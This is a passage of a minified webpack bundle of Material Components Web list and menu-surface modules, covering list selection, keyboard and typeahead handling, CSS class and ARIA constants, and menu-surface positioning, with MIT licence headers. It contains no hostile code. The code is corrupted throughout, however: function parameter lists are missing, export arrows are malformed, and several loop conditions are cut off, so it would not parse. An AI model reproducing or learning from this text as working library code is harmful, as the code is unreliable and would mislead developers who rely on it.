e.listElements.indexOf(t)}));(0,o.wB)(this.root,a.j2.ARIA_MULTI_SELECTABLE_SELECTOR)?this.selectedIndex=t:t.length>0&&(this.selectedIndex=t[0])}else{var n=this.root.querySelectorAll(a.j2.ARIA_ROLE_CHECKBOX_SELECTOR),i=this.root.querySelector(a.j2.ARIA_CHECKED_RADIO_SELECTOR);if(n.length){var r=this.root.querySelectorAll(a.j2.ARIA_CHECKED_CHECKBOX_SELECTOR);this.selectedIndex=Array.from(r,(function(t){return e.listElements.indexOf(t)}))}else i&&(this.selectedIndex=this.listElements.indexOf(i))}},t.prototype.setEnabled=function(e,t){this.foundation.setEnabled(e,t)},t.prototype.typeaheadMatchItem=function(e,t){return this.foundation.typeaheadMatchItem(e,t,!0)},t.prototype.getDefaultFoundation=function{var e=this,t={addClassForElementIndex:function(t,n){var i=e.listElements[t];i&&i.classList.add(e.classNameMap[n])},focusItemAtIndex:function(t){var n=e.listElements[t];n&&n.focus},getAttributeForElementIndex:function(t,n){return e.listElements[t].getAttribute(n)},getFocusedElementIndex:function{return e.listElements.indexOf(document.activeElement)},getListItemCount:function{return e.listElements.length},getPrimaryTextAtIndex:function(t){return e.getPrimaryText(e.listElements[t])},hasCheckboxAtIndex:function(t){return!!e.listElements[t].querySelector(a.j2.CHECKBOX_SELECTOR)},hasRadioAtIndex:function(t){return!!e.listElements[t].querySelector(a.j2.RADIO_SELECTOR)},isCheckboxCheckedAtIndex:function(t){return e.listElements[t].querySelector(a.j2.CHECKBOX_SELECTOR).checked},isFocusInsideList:function{return e.root!==document.activeElement&&e.root.contains(document.activeElement)},isRootFocused:function{return document.activeElement===e.root},listItemAtIndexHasClass:function(t,n){return e.listElements[t].classList.contains(e.classNameMap[n])},notifyAction:function(t){e.emit(a.j2.ACTION_EVENT,{index:t},!0)},removeClassForElementIndex:function(t,n){var i=e.listElements[t];i&&i.classList.remove(e.classNameMap[n])},setAttributeForElementIndex:function(t,n,i){var r=e.listElements[t];r&&r.setAttribute(n,i)},setCheckedCheckboxOrRadioAtIndex:function(t,n){var i=e.listElements[t].querySelector(a.j2.CHECKBOX_RADIO_SELECTOR);i.checked=n;var r=document.createEvent("Event");r.initEvent("change",!0,!0),i.dispatchEvent(r)},setTabIndexForListItemChildren:function(t,n){var i=e.listElements[t],r=a.j2.CHILD_ELEMENTS_TO_TOGGLE_TABINDEX;Array.prototype.forEach.call(i.querySelectorAll(r),(function(e){e.setAttribute("tabindex",n)}))}};return new s.I(t)},t.prototype.ensureFocusable=function{if(this.isEvolutionEnabled&&this.isInteractive&&!this.root.querySelector("."+this.classNameMap[a.UX.LIST_ITEM_CLASS]+'[tabindex="0"]')){var e=this.initialFocusIndex;-1!==e&&(this.listElements[e].tabIndex=0)}},t.prototype.initialFocusIndex=function{if(this.selectedIndex instanceof Array&&this.selectedIndex.length>0)return this.selectedIndex[0];if("number"==typeof this.selectedIndex&&this.selectedIndex!==a.KT.UNSET_INDEX)return this.selectedIndex;var e=this.root.querySelector("."+this.classNameMap[a.UX.LIST_ITEM_CLASS]+":not(."+this.classNameMap[a.UX.LIST_ITEM_DISABLED_CLASS]+")");return null===e?-1:this.getListItemIndex(e)},t.prototype.getListItemIndex=function(e){var t=(0,o.oq)(e,"."+this.classNameMap[a.UX.LIST_ITEM_CLASS]+", ."+this.classNameMap[a.UX.ROOT]);return t&&(0,o.wB)(t,"."+this.classNameMap[a.UX.LIST_ITEM_CLASS])?this.listElements.indexOf(t):-1},t.prototype.handleFocusInEvent=function(e){var t=this.getListItemIndex(e.target);this.foundation.handleFocusIn(t)},t.prototype.handleFocusOutEvent=function(e){var t=this.getListItemIndex(e.target);this.foundation.handleFocusOut(t)},t.prototype.handleKeydownEvent=function(e){var t=this.getListItemIndex(e.target),n=e.target;this.foundation.handleKeydown(e,n.classList.contains(this.classNameMap[a.UX.LIST_ITEM_CLASS]),t)},t.prototype.handleClickEvent=function(e){var t=this.getListItemIndex(e.target),n=e.target,i=!(0,o.wB)(n,a.j2.CHECKBOX_RADIO_SELECTOR);this.foundation.handleClick(t,i)},t}(r.B)},5794:(e,t,n)=>{"use strict"; /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var i,r;n.d(t,{j2:=>l,UX:=>o,KT:=>c,rD:=>s,_f:=>d,Vg:=>a});var o={LIST_ITEM_ACTIVATED_CLASS:"mdc-list-item--activated",LIST_ITEM_CLASS:"mdc-list-item",LIST_ITEM_DISABLED_CLASS:"mdc-list-item--disabled",LIST_ITEM_SELECTED_CLASS:"mdc-list-item--selected",LIST_ITEM_TEXT_CLASS:"mdc-list-item__text",LIST_ITEM_PRIMARY_TEXT_CLASS:"mdc-list-item__primary-text",ROOT:"mdc-list"},a=((i={})[""+o.LIST_ITEM_ACTIVATED_CLASS]="mdc-list-item--activated",i[""+o.LIST_ITEM_CLASS]="mdc-list-item",i[""+o.LIST_ITEM_DISABLED_CLASS]="mdc-list-item--disabled",i[""+o.LIST_ITEM_SELECTED_CLASS]="mdc-list-item--selected",i[""+o.LIST_ITEM_PRIMARY_TEXT_CLASS]="mdc-list-item__primary-text",i[""+o.ROOT]="mdc-list",i),s=((r={})[""+o.LIST_ITEM_ACTIVATED_CLASS]="mdc-deprecated-list-item--activated",r[""+o.LIST_ITEM_CLASS]="mdc-deprecated-list-item",r[""+o.LIST_ITEM_DISABLED_CLASS]="mdc-deprecated-list-item--disabled",r[""+o.LIST_ITEM_SELECTED_CLASS]="mdc-deprecated-list-item--selected",r[""+o.LIST_ITEM_TEXT_CLASS]="mdc-deprecated-list-item__text",r[""+o.LIST_ITEM_PRIMARY_TEXT_CLASS]="mdc-deprecated-list-item__primary-text",r[""+o.ROOT]="mdc-deprecated-list",r),l={ACTION_EVENT:"MDCList:action",ARIA_CHECKED:"aria-checked",ARIA_CHECKED_CHECKBOX_SELECTOR:'[role="checkbox"][aria-checked="true"]',ARIA_CHECKED_RADIO_SELECTOR:'[role="radio"][aria-checked="true"]',ARIA_CURRENT:"aria-current",ARIA_DISABLED:"aria-disabled",ARIA_ORIENTATION:"aria-orientation",ARIA_ORIENTATION_HORIZONTAL:"horizontal",ARIA_ROLE_CHECKBOX_SELECTOR:'[role="checkbox"]',ARIA_SELECTED:"aria-selected",ARIA_INTERACTIVE_ROLES_SELECTOR:'[role="listbox"], [role="menu"]',ARIA_MULTI_SELECTABLE_SELECTOR:'[aria-multiselectable="true"]',CHECKBOX_RADIO_SELECTOR:'input[type="checkbox"], input[type="radio"]',CHECKBOX_SELECTOR:'input[type="checkbox"]',CHILD_ELEMENTS_TO_TOGGLE_TABINDEX:"\n   ."+o.LIST_ITEM_CLASS+" button:not(:disabled),\n    ."+o.LIST_ITEM_CLASS+" a,\n    ."+s[o.LIST_ITEM_CLASS]+" button:not(:disabled),\n    ."+s[o.LIST_ITEM_CLASS]+" a\n  ",DEPRECATED_SELECTOR:".mdc-deprecated-list",FOCUSABLE_CHILD_ELEMENTS:"\n    ."+o.LIST_ITEM_CLASS+" button:not(:disabled),\n    ."+o.LIST_ITEM_CLASS+" a,\n    ."+o.LIST_ITEM_CLASS+' input[type="radio"]:not(:disabled),\n    .'+o.LIST_ITEM_CLASS+' input[type="checkbox"]:not(:disabled),\n    .'+s[o.LIST_ITEM_CLASS]+" button:not(:disabled),\n    ."+s[o.LIST_ITEM_CLASS]+" a,\n    ."+s[o.LIST_ITEM_CLASS]+' input[type="radio"]:not(:disabled),\n    .'+s[o.LIST_ITEM_CLASS]+' input[type="checkbox"]:not(:disabled)\n  ',RADIO_SELECTOR:'input[type="radio"]',SELECTED_ITEM_SELECTOR:'[aria-selected="true"], [aria-current="true"]'},c={UNSET_INDEX:-1,TYPEAHEAD_BUFFER_CLEAR_TIMEOUT_MS:300},d="evolution"},9978:(e,t,n)=>{"use strict";n.d(t,{I:=>h});var i=n(655),r=n(6308),o=n(9502),a=n(5794),s=["input","button","textarea","select"],l=function(e){var t=e.target;if(t){var n=(""+t.tagName).toLowerCase;-1===s.indexOf(n)&&e.preventDefault}};function c(e,t){var n,i=e.nextChar,r=e.focusItemAtIndex,o=e.sortedIndexByFirstChar,s=e.focusedItemIndex,l=e.skipFocus,c=e.isItemAtIndexDisabled;return clearTimeout(t.bufferClearTimeout),t.bufferClearTimeout=setTimeout((function{u(t)}),a.KT.TYPEAHEAD_BUFFER_CLEAR_TIMEOUT_MS),t.typeaheadBuffer=t.typeaheadBuffer+i,n=1===t.typeaheadBuffer.length?function(e,t,n,i){var r=i.typeaheadBuffer[0],o=e.get(r);if(!o)return-1;if(r===i.currentFirstChar&&o[i.sortedIndexCursor].index===t){i.sortedIndexCursor=(i.sortedIndexCursor+1)%o.length;var a=o[i.sortedIndexCursor].index;if(!n(a))return a}i.currentFirstChar=r;var s,l=-1;for(s=0;st&&!n(o[s].index)){l=s;break}if(-1!==l)return i.sortedIndexCursor=l,o[i.sortedIndexCursor].index;return-1}(o,s,c,t):function(e,t,n){var i=n.typeaheadBuffer[0],r=e.get(i);if(!r)return-1;var o=r[n.sortedIndexCursor];if(0===o.text.lastIndexOf(n.typeaheadBuffer,0)&&!t(o.index))return o.index;var a=(n.sortedIndexCursor+1)%r.length,s=-1;for(a!==n.sortedIndexCursor;){var l=r[a],c=0===l.text.lastIndexOf(n.typeaheadBuffer,0),d=!t(l.index);if(c&&d){s=a;break}a=(a+1)%r.length}if(-1!==s)return n.sortedIndexCursor=s,r[n.sortedIndexCursor].index;return-1}(o,c,t),-1===n||l||r(n),n}function d(e){return e.typeaheadBuffer.length>0}function u(e){e.typeaheadBuffer=""}function p(e,t){var n=e.event,i=e.isTargetListItem,r=e.focusedItemIndex,a=e.focusItemAtIndex,s=e.sortedIndexByFirstChar,u=e.isItemAtIndexDisabled,p="ArrowLeft"===(0,o.ku)(n),h="ArrowUp"===(0,o.ku)(n),f="ArrowRight"===(0,o.ku)(n),g="ArrowDown"===(0,o.ku)(n),m="Home"===(0,o.ku)(n),v="End"===(0,o.ku)(n),A="Enter"===(0,o.ku)(n),y="Spacebar"===(0,o.ku)(n);return n.ctrlKey||n.metaKey||p||h||f||g||m||v||A?-1:y||1!==n.key.length?y?(i&&l(n),i&&d(t)?c({focusItemAtIndex:a,focusedItemIndex:r,nextChar:" ",sortedIndexByFirstChar:s,skipFocus:!1,isItemAtIndexDisabled:u},t):-1):-1:(l(n),c({focusItemAtIndex:a,focusedItemIndex:r,nextChar:n.key.toLowerCase,sortedIndexByFirstChar:s,skipFocus:!1,isItemAtIndexDisabled:u},t))}var h=function(e){function t(n){var r=e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this;return r.wrapFocus=!1,r.isVertical=!0,r.isSingleSelectionList=!1,r.selectedIndex=a.KT.UNSET_INDEX,r.focusedItemIndex=a.KT.UNSET_INDEX,r.useActivatedClass=!1,r.useSelectedAttr=!1,r.ariaCurrentAttrValue=null,r.isCheckboxList=!1,r.isRadioList=!1,r.hasTypeahead=!1,r.typeaheadState={bufferClearTimeout:0,currentFirstChar:"",sortedIndexCursor:0,typeaheadBuffer:""},r.sortedIndexByFirstChar=new Map,r}return(0,i.__extends)(t,e),Object.defineProperty(t,"strings",{get:function{return a.j2},enumerable:!1,configurable:!0}),Object.defineProperty(t,"cssClasses",{get:function{return a.UX},enumerable:!1,configurable:!0}),Object.defineProperty(t,"numbers",{get:function{return a.KT},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClassForElementIndex:function{},focusItemAtIndex:function{},getAttributeForElementIndex:function{return null},getFocusedElementIndex:function{return 0},getListItemCount:function{return 0},hasCheckboxAtIndex:function{return!1},hasRadioAtIndex:function{return!1},isCheckboxCheckedAtIndex:function{return!1},isFocusInsideList:function{return!1},isRootFocused:function{return!1},listItemAtIndexHasClass:function{return!1},notifyAction:function{},removeClassForElementIndex:function{},setAttributeForElementIndex:function{},setCheckedCheckboxOrRadioAtIndex:function{},setTabIndexForListItemChildren:function{},getPrimaryTextAtIndex:function{return""}}},enumerable:!1,configurable:!0}),t.prototype.layout=function{0!==this.adapter.getListItemCount&&(this.adapter.hasCheckboxAtIndex(0)?this.isCheckboxList=!0:this.adapter.hasRadioAtIndex(0)?this.isRadioList=!0:this.maybeInitializeSingleSelection,this.hasTypeahead&&(this.sortedIndexByFirstChar=this.typeaheadInitSortedIndex))},t.prototype.getFocusedItemIndex=function{return this.focusedItemIndex},t.prototype.setWrapFocus=function(e){this.wrapFocus=e},t.prototype.setVerticalOrientation=function(e){this.isVertical=e},t.prototype.setSingleSelection=function(e){this.isSingleSelectionList=e,e&&(this.maybeInitializeSingleSelection,this.selectedIndex=this.getSelectedIndexFromDOM)},t.prototype.maybeInitializeSingleSelection=function{var e=this.getSelectedIndexFromDOM;e!==a.KT.UNSET_INDEX&&(this.adapter.listItemAtIndexHasClass(e,a.UX.LIST_ITEM_ACTIVATED_CLASS)&&this.setUseActivatedClass(!0),this.isSingleSelectionList=!0,this.selectedIndex=e)},t.prototype.getSelectedIndexFromDOM=function{for(var e=a.KT.UNSET_INDEX,t=this.adapter.getListItemCount,n=0;n<t;n++){var i=this.adapter.listItemAtIndexHasClass(n,a.UX.LIST_ITEM_SELECTED_CLASS),r=this.adapter.listItemAtIndexHasClass(n,a.UX.LIST_ITEM_ACTIVATED_CLASS);if(i||r){e=n;break}}return e},t.prototype.setHasTypeahead=function(e){this.hasTypeahead=e,e&&(this.sortedIndexByFirstChar=this.typeaheadInitSortedIndex)},t.prototype.isTypeaheadInProgress=function{return this.hasTypeahead&&d(this.typeaheadState)},t.prototype.setUseActivatedClass=function(e){this.useActivatedClass=e},t.prototype.setUseSelectedAttribute=function(e){this.useSelectedAttr=e},t.prototype.getSelectedIndex=function{return this.selectedIndex},t.prototype.setSelectedIndex=function(e,t){var n=(void 0===t?{}:t).forceUpdate;this.isIndexValid(e)&&(this.isCheckboxList?this.setCheckboxAtIndex(e):this.isRadioList?this.setRadioAtIndex(e):this.setSingleSelectionAtIndex(e,{forceUpdate:n}))},t.prototype.handleFocusIn=function(e){e>=0&&(this.focusedItemIndex=e,this.adapter.setAttributeForElementIndex(e,"tabindex","0"),this.adapter.setTabIndexForListItemChildren(e,"0"))},t.prototype.handleFocusOut=function(e){var t=this;e>=0&&(this.adapter.setAttributeForElementIndex(e,"tabindex","-1"),this.adapter.setTabIndexForListItemChildren(e,"-1")),setTimeout((function{t.adapter.isFocusInsideList||t.setTabindexToFirstSelectedOrFocusedItem}),0)},t.prototype.handleKeydown=function(e,t,n){var i=this,r="ArrowLeft"===(0,o.ku)(e),s="ArrowUp"===(0,o.ku)(e),c="ArrowRight"===(0,o.ku)(e),d="ArrowDown"===(0,o.ku)(e),u="Home"===(0,o.ku)(e),h="End"===(0,o.ku)(e),f="Enter"===(0,o.ku)(e),g="Spacebar"===(0,o.ku)(e),m="A"===e.key||"a"===e.key;if(this.adapter.isRootFocused){s||h?(e.preventDefault,this.focusLastElement):(d||u)&&(e.preventDefault,this.focusFirstElement),this.hasTypeahead&&p({event:e,focusItemAtIndex:function(e){i.focusItemAtIndex(e)},focusedItemIndex:-1,isTargetListItem:t,sortedIndexByFirstChar:this.sortedIndexByFirstChar,isItemAtIndexDisabled:function(e){return i.adapter.listItemAtIndexHasClass(e,a.UX.LIST_ITEM_DISABLED_CLASS)}},this.typeaheadState)}else{var v=this.adapter.getFocusedElementIndex;if(!(-1===v&&(v=n)<0)){if(this.isVertical&&d||!this.isVertical&&c)l(e),this.focusNextElement(v);else if(this.isVertical&&s||!this.isVertical&&r)l(e),this.focusPrevElement(v);else if(u)l(e),this.focusFirstElement;else if(h)l(e),this.focusLastElement;else if(m&&e.ctrlKey&&this.isCheckboxList)e.preventDefault,this.toggleAll(this.selectedIndex===a.KT.UNSET_INDEX?[]:this.selectedIndex);else if((f||g)&&t){var A=e.target;if(A&&"A"===A.tagName&&f)return;if(l(e),this.adapter.listItemAtIndexHasClass(v,a.UX.LIST_ITEM_DISABLED_CLASS))return;this.isTypeaheadInProgress||(this.isSelectableList&&this.setSelectedIndexOnAction(v),this.adapter.notifyAction(v))}if(this.hasTypeahead)p({event:e,focusItemAtIndex:function(e){i.focusItemAtIndex(e)},focusedItemIndex:this.focusedItemIndex,isTargetListItem:t,sortedIndexByFirstChar:this.sortedIndexByFirstChar,isItemAtIndexDisabled:function(e){return i.adapter.listItemAtIndexHasClass(e,a.UX.LIST_ITEM_DISABLED_CLASS)}},this.typeaheadState)}}},t.prototype.handleClick=function(e,t){e!==a.KT.UNSET_INDEX&&(this.adapter.listItemAtIndexHasClass(e,a.UX.LIST_ITEM_DISABLED_CLASS)||(this.isSelectableList&&this.setSelectedIndexOnAction(e,t),this.adapter.notifyAction(e)))},t.prototype.focusNextElement=function(e){var t=e+1;if(t>=this.adapter.getListItemCount){if(!this.wrapFocus)return e;t=0}return this.focusItemAtIndex(t),t},t.prototype.focusPrevElement=function(e){var t=e-1;if(t<0){if(!this.wrapFocus)return e;t=this.adapter.getListItemCount-1}return this.focusItemAtIndex(t),t},t.prototype.focusFirstElement=function{return this.focusItemAtIndex(0),0},t.prototype.focusLastElement=function{var e=this.adapter.getListItemCount-1;return this.focusItemAtIndex(e),e},t.prototype.focusInitialElement=function{var e=this.getFirstSelectedOrFocusedItemIndex;return this.focusItemAtIndex(e),e},t.prototype.setEnabled=function(e,t){this.isIndexValid(e)&&(t?(this.adapter.removeClassForElementIndex(e,a.UX.LIST_ITEM_DISABLED_CLASS),this.adapter.setAttributeForElementIndex(e,a.j2.ARIA_DISABLED,"false")):(this.adapter.addClassForElementIndex(e,a.UX.LIST_ITEM_DISABLED_CLASS),this.adapter.setAttributeForElementIndex(e,a.j2.ARIA_DISABLED,"true")))},t.prototype.setSingleSelectionAtIndex=function(e,t){var n=(void 0===t?{}:t).forceUpdate;if(this.selectedIndex!==e||n){var i=a.UX.LIST_ITEM_SELECTED_CLASS;this.useActivatedClass&&(i=a.UX.LIST_ITEM_ACTIVATED_CLASS),this.selectedIndex!==a.KT.UNSET_INDEX&&this.adapter.removeClassForElementIndex(this.selectedIndex,i),this.setAriaForSingleSelectionAtIndex(e),this.setTabindexAtIndex(e),e!==a.KT.UNSET_INDEX&&this.adapter.addClassForElementIndex(e,i),this.selectedIndex=e}},t.prototype.setAriaForSingleSelectionAtIndex=function(e){this.selectedIndex===a.KT.UNSET_INDEX&&(this.ariaCurrentAttrValue=this.adapter.getAttributeForElementIndex(e,a.j2.ARIA_CURRENT));var t=null!==this.ariaCurrentAttrValue,n=t?a.j2.ARIA_CURRENT:a.j2.ARIA_SELECTED;if(this.selectedIndex!==a.KT.UNSET_INDEX&&this.adapter.setAttributeForElementIndex(this.selectedIndex,n,"false"),e!==a.KT.UNSET_INDEX){var i=t?this.ariaCurrentAttrValue:"true";this.adapter.setAttributeForElementIndex(e,n,i)}},t.prototype.getSelectionAttribute=function{return this.useSelectedAttr?a.j2.ARIA_SELECTED:a.j2.ARIA_CHECKED},t.prototype.setRadioAtIndex=function(e){var t=this.getSelectionAttribute;this.adapter.setCheckedCheckboxOrRadioAtIndex(e,!0),this.selectedIndex!==a.KT.UNSET_INDEX&&this.adapter.setAttributeForElementIndex(this.selectedIndex,t,"false"),this.adapter.setAttributeForElementIndex(e,t,"true"),this.selectedIndex=e},t.prototype.setCheckboxAtIndex=function(e){for(var t=this.getSelectionAttribute,n=0;n=0&&(i=!0),this.adapter.setCheckedCheckboxOrRadioAtIndex(n,i),this.adapter.setAttributeForElementIndex(n,t,i?"true":"false")}this.selectedIndex=e},t.prototype.setTabindexAtIndex=function(e){this.focusedItemIndex===a.KT.UNSET_INDEX&&0!==e?this.adapter.setAttributeForElementIndex(0,"tabindex","-1"):this.focusedItemIndex>=0&&this.focusedItemIndex!==e&&this.adapter.setAttributeForElementIndex(this.focusedItemIndex,"tabindex","-1"),this.selectedIndex instanceof Array||this.selectedIndex===e||this.adapter.setAttributeForElementIndex(this.selectedIndex,"tabindex","-1"),e!==a.KT.UNSET_INDEX&&this.adapter.setAttributeForElementIndex(e,"tabindex","0")},t.prototype.isSelectableList=function{return this.isSingleSelectionList||this.isCheckboxList||this.isRadioList},t.prototype.setTabindexToFirstSelectedOrFocusedItem=function{var e=this.getFirstSelectedOrFocusedItemIndex;this.setTabindexAtIndex(e)},t.prototype.getFirstSelectedOrFocusedItemIndex=function{return this.isSelectableList?"number"==typeof this.selectedIndex&&this.selectedIndex!==a.KT.UNSET_INDEX?this.selectedIndex:this.selectedIndex instanceof Array&&this.selectedIndex.length>0?this.selectedIndex.reduce((function(e,t){return Math.min(e,t)})):0:Math.max(this.focusedItemIndex,0)},t.prototype.isIndexValid=function(e){var t=this;if(e instanceof Array){if(!this.isCheckboxList)throw new Error("MDCListFoundation: Array of index is only supported for checkbox based list");return 0===e.length||e.some((function(e){return t.isIndexInRange(e)}))}if("number"==typeof e){if(this.isCheckboxList)throw new Error("MDCListFoundation: Expected array of index for checkbox based list but got number: "+e);return this.isIndexInRange(e)||this.isSingleSelectionList&&e===a.KT.UNSET_INDEX}return!1},t.prototype.isIndexInRange=function(e){var t=this.adapter.getListItemCount;return e>=0&&e<t},t.prototype.setSelectedIndexOnAction=function(e,t){void 0===t&&(t=!0),this.isCheckboxList?this.toggleCheckboxAtIndex(e,t):this.setSelectedIndex(e)},t.prototype.toggleCheckboxAtIndex=function(e,t){var n=this.getSelectionAttribute,i=this.adapter.isCheckboxCheckedAtIndex(e);t&&(i=!i,this.adapter.setCheckedCheckboxOrRadioAtIndex(e,i)),this.adapter.setAttributeForElementIndex(e,n,i?"true":"false");var r=this.selectedIndex===a.KT.UNSET_INDEX?[]:this.selectedIndex.slice;i?r.push(e):r=r.filter((function(t){return t!==e})),this.selectedIndex=r},t.prototype.focusItemAtIndex=function(e){this.adapter.focusItemAtIndex(e),this.focusedItemIndex=e},t.prototype.toggleAll=function(e){var t=this.adapter.getListItemCount;if(e.length===t)this.setCheckboxAtIndex([]);else{for(var n=[],i=0;i-1)&&n.push(i);this.setCheckboxAtIndex(n)}},t.prototype.typeaheadMatchItem=function(e,t,n){var i=this;return void 0===n&&(n=!1),c({focusItemAtIndex:function(e){i.focusItemAtIndex(e)},focusedItemIndex:t||this.focusedItemIndex,nextChar:e,sortedIndexByFirstChar:this.sortedIndexByFirstChar,skipFocus:n,isItemAtIndexDisabled:function(e){return i.adapter.listItemAtIndexHasClass(e,a.UX.LIST_ITEM_DISABLED_CLASS)}},this.typeaheadState)},t.prototype.typeaheadInitSortedIndex=function{return function(e,t){for(var n=new Map,i=0;i{"use strict";n.d(t,{UX:=>o,j2:=>a,KT:=>s,HX:=>i,Ns:=>r}); /** * @license * Copyright 2018 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var i,r,o={ANCHOR:"mdc-menu-surface--anchor",ANIMATING_CLOSED:"mdc-menu-surface--animating-closed",ANIMATING_OPEN:"mdc-menu-surface--animating-open",FIXED:"mdc-menu-surface--fixed",IS_OPEN_BELOW:"mdc-menu-surface--is-open-below",OPEN:"mdc-menu-surface--open",ROOT:"mdc-menu-surface"},a={CLOSED_EVENT:"MDCMenuSurface:closed",CLOSING_EVENT:"MDCMenuSurface:closing",OPENED_EVENT:"MDCMenuSurface:opened",FOCUSABLE_ELEMENTS:["button:not(:disabled)",'[href]:not([aria-disabled="true"])',"input:not(:disabled)","select:not(:disabled)","textarea:not(:disabled)",'[tabindex]:not([tabindex="-1"]):not([aria-disabled="true"])'].join(", ")},s={TRANSITION_OPEN_DURATION:120,TRANSITION_CLOSE_DURATION:75,MARGIN_TO_EDGE:32,ANCHOR_TO_MENU_SURFACE_WIDTH_RATIO:.67,TOUCH_EVENT_WAIT_MS:30};!function(e){e[e.BOTTOM=1]="BOTTOM",e[e.CENTER=2]="CENTER",e[e.RIGHT=4]="RIGHT",e[e.FLIP_RTL=8]="FLIP_RTL"}(i||(i={})),function(e){e[e.TOP_LEFT=0]="TOP_LEFT",e[e.TOP_RIGHT=4]="TOP_RIGHT",e[e.BOTTOM_LEFT=1]="BOTTOM_LEFT",e[e.BOTTOM_RIGHT=5]="BOTTOM_RIGHT",e[e.TOP_START=8]="TOP_START",e[e.TOP_END=12]="TOP_END",e[e.BOTTOM_START=9]="BOTTOM_START",e[e.BOTTOM_END=13]="BOTTOM_END"}(r||(r={}))},7277:(e,t,n)=>{"use strict";n.d(t,{k:=>a});var i=n(655),r=n(6308),o=n(5479),a=function(e){function t(n){var r=e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this;return r.isSurfaceOpen=!1,r.isQuickOpen=!1,r.isHoistedElement=!1,r.isFixedPosition=!1,r.isHorizontallyCenteredOnViewport=!1,r.maxHeight=0,r.openAnimationEndTimerId=0,r.closeAnimationEndTimerId=0,r.animationRequestId=0,r.anchorCorner=o.Ns.TOP_START,r.originCorner=o.Ns.TOP_START,r.anchorMargin={top:0,right:0,bottom:0,left:0},r.position={x:0,y:0},r}return(0,i.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return o.UX},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function{return o.j2},enumerable:!1,configurable:!0}),Object.defineProperty(t,"numbers",{get:function{return o.KT},enumerable:!1,configurable:!0}),Object.defineProperty(t,"Corner",{get:function{return o.Ns},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClass:function{},removeClass:function{},hasClass:function{return!1},hasAnchor:function{return!1},isElementInContainer:function{return!1},isFocused:function{return!1},isRtl:function{return!1},getInnerDimensions:function{return{height:0,width:0}},getAnchorDimensions:function{return null},getWindowDimensions:function{return{height:0,width:0}},getBodyDimensions:function{return{height:0,width:0}},getWindowScroll:function{return{x:0,y:0}},setPosition:function{},setMaxHeight:function{},setTransformOrigin:function{},saveFocus:function{},restoreFocus:function{},notifyClose:function{},notifyOpen:function{},notifyClosing:function{}}},enumerable:!1,configurable:!0}),t.prototype.init=function{var e=t.cssClasses,n=e.ROOT,i=e.OPEN;if(!this.adapter.hasClass(n))throw new Error(n+" class required in root element.");this.adapter.hasClass(i)&&(this.isSurfaceOpen=!0)},t.prototype.destroy=function{clearTimeout(this.openAnimationEndTimerId),clearTimeout(this.closeAnimationEndTimerId),cancelAnimationFrame(this.animationRequestId)},t.prototype.setAnchorCorner=function(e){this.anchorCorner=e},t.prototype.flipCornerHorizontally=function{this.originCorner=this.originCorner^o.HX.RIGHT},t.prototype.setAnchorMargin=function(e){this.anchorMargin.top=e.top||0,this.anchorMargin.right=e.right||0,this.anchorMargin.bottom=e.bottom||0,this.anchorMargin.left=e.left||0},t.prototype.setIsHoisted=function(e){this.isHoistedElement=e},t.prototype.setFixedPosition=function(e){this.isFixedPosition=e},t.prototype.isFixed=function{return this.isFixedPosition},t.prototype.setAbsolutePosition=function(e,t){this.position.x=this.isFinite(e)?e:0,this.position.y=this.isFinite(t)?t:0},t.prototype.setIsHorizontallyCenteredOnViewport=function(e){this.isHorizontallyCenteredOnViewport=e},t.prototype.setQuickOpen=function(e){this.isQuickOpen=e},t.prototype.setMaxHeight=function(e){this.maxHeight=e},t.prototype.isOpen=function{return this.isSurfaceOpen},t.prototype.open=function{var e=this;this.isSurfaceOpen||(this.adapter.saveFocus,this.isQuickOpen?(this.isSurfaceOpen=!0,this.adapter.addClass(t.cssClasses.OPEN),this.dimensions=this.adapter.getInnerDimensions,this.autoposition,this.adapter.notifyOpen):(this.adapter.addClass(t.cssClasses.ANIMATING_OPEN),this.animationRequestId=requestAnimationFrame((function{e.dimensions=e.adapter.getInnerDimensions,e.autoposition,e.adapter.addClass(t.cssClasses.OPEN),e.openAnimationEndTimerId=setTimeout((function{e.openAnimationEndTimerId=0,e.adapter.removeClass(t.cssClasses.ANIMATING_OPEN),e.adapter.notifyOpen}),o.KT.TRANSITION_OPEN_DURATION)})),this.isSurfaceOpen=!0))},t.prototype.close=function(e){var 